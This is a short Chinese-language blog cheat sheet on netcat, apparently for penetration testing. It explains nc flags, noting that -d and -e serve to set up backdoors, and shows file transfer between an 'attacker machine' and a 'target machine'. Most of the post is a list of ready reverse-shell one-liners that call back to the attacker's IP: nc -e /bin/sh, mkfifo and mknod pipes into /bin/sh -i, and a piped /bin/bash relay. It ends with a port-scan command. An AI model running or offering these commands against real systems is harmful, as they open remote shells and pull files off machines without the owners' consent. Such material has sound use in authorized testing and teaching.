nc使用技巧
介绍
没啥好介绍的。nc都用过,简单介绍下命令参数
-d 脱离命令窗口,在后台运行,常用于后门建立过程。
-e 执行某个程序,常用于后门建立过程
-G gateway 设置网关,常用于突破内网限制
-g num 路由跳数
-i sec 设置发送每一行数据的时间间隔
-l 设置netcat处于监听状态等待连接。
-L 设置netcat处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态。
-n 设置netcat只识别ip地址,不在进行DNS解析。
-o file 设置传输十六进制的数据。
-r 设置netcat随机化的端口号。
-s addr 设置netcat源地址。
-t 回复telnet的请求数据包。
-u 设置netcat使用UDP模式
-v 显示错误提示信息
-w secs 设置连接超时秒数。
-z 设置扫描模式,表示发送的数据包中不包含任何payload
nc传文件
文件下载
攻击机执行:nc -lp port > file
靶机执行:nc 攻击机IP port < file
文件上传
攻击机执行:nc -l port < file
靶机执行:nc 攻击机IP port > file
- Tips
如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,直到连接上服务端,造成一种“假死”状态。
增加-w参数,设置等待时间
nc不支持-e参数
靶机:nc ip port | /bin/bash | nc ip port
攻击机:nc -lvvp port #需要启动两个监听端口,起两个进程,一个作为命令输入,一个作为命令输出
其他反弹shell命令
nc -e /bin/sh 攻击机IP port
nc -e /bin/bash 攻击机IP port
nc -c bash 攻击机IP port
mknod backpipe p && nc 攻击机IP port 0<backpipe | /bin/bash 1>backpipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP port >/tmp/f
rm -f /tmp/p; mknod /tmp/p p && nc 攻击机IP port 0/tmp/p 2>&1
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 攻击机IP port > f
rm -f x; mknod x p && nc 攻击机IP port 0<x | /bin/bash 1>x
端口扫描
nc -v -n -z -w1 ip port-port
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/O 模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做可以加快扫描的速度。
-w1 超时设置为1秒。
博文中如存在错误请及时指出,不胜感激!